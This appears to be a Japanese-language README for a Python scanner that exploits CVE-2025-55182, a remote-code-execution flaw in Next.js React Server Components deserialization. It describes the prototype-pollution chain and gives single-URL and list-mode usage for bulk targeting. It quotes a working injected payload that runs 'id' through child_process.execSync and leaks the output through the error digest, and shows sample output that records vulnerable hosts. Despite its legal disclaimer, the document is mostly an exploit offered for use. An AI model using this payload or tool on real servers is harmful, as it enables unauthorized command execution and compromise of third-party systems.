CVE‑2025‑55182 – Next.js RSC デシリアライゼーション RCE スキャナ

このツールは、対象が CVE‑2025‑55182 に対して脆弱かどうかをチェックします。これは、Next.js 内の RSC（React Server Components）モデルペイロードの安全でない処理によって引き起こされるリモートコード実行バグです。
この脆弱性は、プロトタイプ汚染 → デシリアライゼーションの悪用 → サーバーサイドJavaScript実行 の連鎖を利用します。

免責事項: このツールは、法的に所有している、または明示的な許可を得たシステムでのみ使用してください。無許可のテストは犯罪ですよ。

🔥 この脆弱性の仕組み

Next.js は、multipart/form-data 経由で送信される特別な「モデル」オブジェクトを内部的に処理します。
攻撃者が偽造された thenable のような悪質な構造を注入すると、以下の内部プロパティを汚染できます:

__proto__
_response._prefix
constructor.constructor
その他の内部プロパティ

これにより、サーバーが攻撃者制御のJavaScriptを評価し、完全なRCE に至ります。

📌 このスクリプトの機能

単一URL（-u）またはターゲットリスト（-l）を受け付けます
細工された multipart/デシリアライゼーションペイロードを送信します
サーバーエラーのダイジェストからコマンド出力（id）を抽出します
脆弱なホストを foxvuln.txt に保存します

▶ 使い方

単一URL

python3 main.py -u https://target.com

リストモード

python3 main.py -l list.txt

📦 ペイロード概要

このペイロードは、注入された _prefix を介して process.mainModule.require('child_process').execSync() を悪用します:

"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

これにより、サーバーは id を実行し、スローされたダイジェスト内に結果をリークさせます（RSCエラーは意図的に構造化された「digest」フィールドを返すため）。

🧪 出力例

脆弱なターゲット:

[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)

脆弱ではない場合:

[+] Testing: https://secure.com
[NOT VULN]

🗂 出力ファイル

確認された脆弱なURLはすべて、次のファイルに保存されます:

foxvuln.txt

形式:

https://victim.com => uid=1000(www-data)

🧠 注意事項

Next.js RSCストリーミングペイロードを処理するエンドポイントでのみ動作します
ルートを総当たりしません — ホストが / でPOSTを処理することを前提としています
タイムアウトはホストごとに10秒に設定されています
ラボ環境では完全に安全です — ただし、重罪を速攻で犯したいのでもない限り、不特定のサーバーで実行しないでください。

CVE-2025-55182-Scanner

人気